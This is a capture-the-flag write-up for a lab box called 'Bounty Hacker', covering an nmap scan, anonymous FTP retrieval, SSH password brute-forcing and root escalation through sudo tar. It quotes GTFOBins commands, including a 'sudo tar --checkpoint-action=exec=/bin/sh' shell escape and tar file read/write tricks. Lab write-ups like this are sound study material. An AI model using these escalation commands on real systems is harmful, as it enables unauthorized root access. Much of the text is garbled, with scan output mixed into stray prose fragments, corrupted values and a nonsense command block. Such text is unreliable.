■ Bounty_Hacker.md

Bounty Hacker

This is a pretty simple CTF:

Name: Alexander Spiesberger

Date: 1/02/2021

email: alex.spiesberger@gmail.com

We start and launch an nmap and find 3 ports open, with and ftp on it with anonymous, we connect to it:

```
Nmap scan report for 10.10.61.11
Host is up (0.026s latency).
Not shown: 55529 filtered ports, 10003 closed ports
     STATE SERVICE VERSION
 ftp-anon: Anonymous FTP login allowed (FTP code 230)

Can't get directory living
21/tcp open ftp
 Can't get directory listing: TIMEOUThydra](assets/4.png)
 ftp-syst:
 FTP server status:
      Logged in as ftp
      TYPE: ASCII
      No session bandwidth limit
      Session timeout in seconds is 300
      Data connections will be plain text
      At session startup, client2countuwasl1(assets/7.png)
      vsFTPd 3.0.3 - secure, fast, stable
 End of status
                   OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
22/tcp open ssh
 ssh-hostkey:
   2048 dc:f8:df:a7:a6:00:6d:18:b0:70:2b:a5:aa:a6:14:3e (RSA)
   256 ec:c0:f2:d9:1e:6f:48:7d:38:9a:e3:bb:08:c4:0c:c9 (ECDSA)
   256 a4:1a:15:a5:d4:b1:cf:8f:16:50;3a:7d;d0;d8:13;c2n(ED25519)
80/tcp open http
                   Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4418 (Wbunty)st have to go to /root and cat out the last flag:
<code>[http-title: Site doesn't have a³title (text/html).</code>
Service Info: OSs: Unix, Linux; CPE: cpe:/oxlinux:linux:kernel
```

We see 2 documents and download them:

localhost:6419

```
200 PORT command successful. Consider using PASVets/7.pn
150 Here comes the directory listing.
              1 ftp
                         ftp
                                    We 418 Juni @7com2020
-rw-rw-r--
              1 ftp
                         ftp
-rw-rw-r--
                                        68 Jun 07 2020
226 Directory send OK.
ftp> get task.txt
local: task.txt remote: task.txt<sup>3</sup>
200 PORT command successful. Consider using PASV.
150 Opening BINARY mode data connection for task. txt (68
226 Transfer complete.
68 bytes received in 0.00 secs (379.4643 kB/s)
ftp>
```

We then cat them and see the name of the user:

The other file is a file with passwords, we remember that ssh is open on port 22 so we could try to bruteforce it:

Yay! We found our password! Let's ssh into it:

localhost:6419 2/4

```
The authenticity of host '10.10.61.11 (10.10.61.11)' can't be established. ECDSA key fingerprint is SHA256:fzjllgnXyEZI9px29GF/tJr+u809188XXfJggSbAgbE. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '10.10.61.11' (ECDSA) to the list of known hosts. lin@10.10.61.11's password:

We then cat them and see the name of the user:
Welcome to Ubuntu 16.04.6 LTS (GNU/Linux 4.15.0-101-generic x86_64)

**Documentation: https://help.ubuntu.com

** Management: https://landscape.Toanomicalilcoms a file with passwords, we reme

** Support: https://ubuntu.com/advantage
21 ![hydra](assets/4.png)

83 packages can be updated.
0 updates are security updates.
24

Last login: Sun Jun 7 22:23:41 2020 from 192.168.0.14
```

We can now cat user.txt:

```
lin@bountyhacker:~/Desktop$ ls 23 Yay! We for user.txt 24 lin@bountyhacker:~/Desktop$ cat user.txth](asset 26
```

we try the command "sudo -l" to see if we can run commands as superuser:

We find a nice command that we can run as superuser, we can look at qtfo bins to see what we can do with it:

localhost:6419 3/4

It writes data to files, it may be used to do privileged writes or write files outside a restricted file system

This only works for GNU tar.

```
LFILE=file_to_write
TF=$(mktemp)
echo DATA > "$TF"
tar c --xform "s@.*@$LFILE@" -OP "$TF" | tar x -P
```

File read

It reads data from files, it may be used to do privileged reads or disclose files outside a restricted file system.

This only works for GNU tar.

```
LFILE=file_to_read
tar xf "$LFILE" -I '/bin/sh -c "cat 1>&2"'
```

Sudo

If the binary is allowed to run as superuser by sudo, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

```
sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
```

Limited CIUD

We now just have to run the command:

```
| Telegraph | Tele
```

Now we just have to go to /root and cat out the last flag:



Hope it was useful.

contact: alex.spiesberger@gmail.com

localhost:6419